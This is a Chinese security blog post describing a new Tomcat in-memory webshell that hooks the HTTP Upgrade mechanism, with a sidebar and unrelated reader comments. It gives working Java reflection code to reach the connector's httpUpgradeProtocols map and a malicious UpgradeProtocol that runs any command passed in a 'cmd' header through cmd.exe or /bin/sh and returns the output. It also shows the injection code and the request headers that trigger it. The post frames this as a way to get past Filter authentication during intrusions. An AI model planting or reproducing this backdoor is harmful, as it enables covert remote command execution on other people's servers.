一种新的Tomcat内存马 - Upgrade内存马

Sndav 2022-08-23 10:41:00

0x00 前言

本人水平不高,若有错误请不吝指出。

0x01 起因

在渗透过程中,有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,在亦或是由于反代的缘故,很多时候无法找到对应路径。为了解决这个问题,我们要在进入请求进入Filter之前进入内存马被拦截处理。

image

上图出自blue0师傅的文章,blue0师傅研究的是Executor中的内存马。我发现在Processor中也存在一种可以利用的内存马,接下来我们针对Http11Processor进行分析。

0x02 Http11Processor

在一个请求的处理过程中,在AbstractProcessorLightprocess方法中,会根据当前SocketWrapperBase的状态进行响应的处理,在OPEN_READ状态时,会调用对应的Processor进行处理,如下图所示。

image

在处理HTTP请求时,对应的ProcessorHttp11Processor。在处理Upgrade时,会进行两件事情:

  • Http11Processorservice方法中会检查头部的Connection头中是否为upgrade
  • 根据头部的Upgrade选择出对应的Upgrade对象。
  • 调用该对象的accept方法。

image

可以注意到,他是从protocol这个局部变量中调用getUpgradeProtocol方法获取对应的UpgradeProtocolgetUpgradeProtocol这个方法仅仅是从根据Upgrade头对应的值获取相应的 UpgradeProtocol。如下图

image

0x03 AbstractHttp11Protocol

这里的AbstractHttp11Protocol事实上其实是Http11NioProtocol,其继承了AbstractHttp11Protocol

为了判断httpUpgradeProtocols是在Tomcat启动时进行的实例化还是在请求时进行的实例化,需要知道httpUpgradeProtocols是在什么时候被赋值的。然后一路追踪找到了init方法。

image

在init方法中他做了以下几件事情:

  • 通过读取upgradeProtocols列表,
  • 调用configureUpgradeProtocol

  • 将对应upgradeProtocol添加到httpUpgradeProtocolsHashMap中。

那是什么时候对upgradeProtocols进行的初始化呢,我们在init方法上下断点,我们发现是在Tomcat启动时进行的初始化。

image

因此我们可以通过反射调用把这个httpUpgradeProtocols添加一项,即可实现Upgrade内存马。

0x04 获取Http11NioProtocol对象

其实获取Http11NioProtocol的方法很简单,从request开始能很简单的找到,具体路径如下

request.request.connector.protocolHandler.httpUpgradeProtocols

image

0x05 构造内存马

获取upgradeProtocols对象

可以直接通过反射调用获取到upgradeProtocols,由于过程比较简单这里直接贴出相关代码。

RequestFacade rf = (RequestFacade) request;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);

Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);

Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);

HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

接下来只需要编写恶意的upgradeProtocol并将其插入到upgradeProtocols这个HashMap中即可。

编写恶意的UpgradeProtocol

Http11Processorprocess方法中会检测ConnectionUpgrade的头部字段,之后会根据Upgrade调用UpgradeProtocolaccept方法。

由于accept方法只传入了org.apache.coyote.Request request对象,所以我们需要获取到response对象。幸运的是,request对象中存在private Response response;因此我们可以通过反射获取到response对象。

值得注意的是,恶意的UpgradeProtoocl需要满足org.apache.coyote.UpgradeProtocol接口。编写出accept方法如下

public boolean accept(org.apache.coyote.Request request) {
    System.out.println("MyUpgrade.accept");
    String p = request.getHeader("cmd");
    try {
        String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
        Field response = org.apache.coyote.Request.class.getDeclaredField("response");
        response.setAccessible(true);
        Response resp = (Response) response.get(request);
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        resp.doWrite(ByteBuffer.wrap(result));
    } catch (Exception e){}
    return false;
}

这样我们直接注入内存马了

upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);

值得注意的是需要在HTTP访问时带上Upgrade的头部信息:

Upgrade: hello
Connection: Upgrade

效果如下:

image

由于其工作在Upgrade中,处理在Filter和Servlet之前,所以可以解决Filter的权限问题。

0x06 查杀效果

image

0xff 参考资料

  1. https://xz.aliyun.com/t/11593

评论

Sndav

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

数据分析与机器学习 文章:12 篇
PHP安全 文章:45 篇
漏洞分析 文章:212 篇
iOS安全 文章:36 篇
数据安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

D

Da22le

因为JdbcRowSetImpl是通过JNDI来实现rce的,191以后对JND

xiaokonglong

师傅我有个问题。1.2.24哪里有个问题,为什么什么是161-191?

C

CDxiaodong

0rz

U

Uesaka

说加入AD变简单的可能没遇到死亡题,2333~

Mas0n

附件: https://pan.baidu.com/s/1rbW_SQiRpv1

目录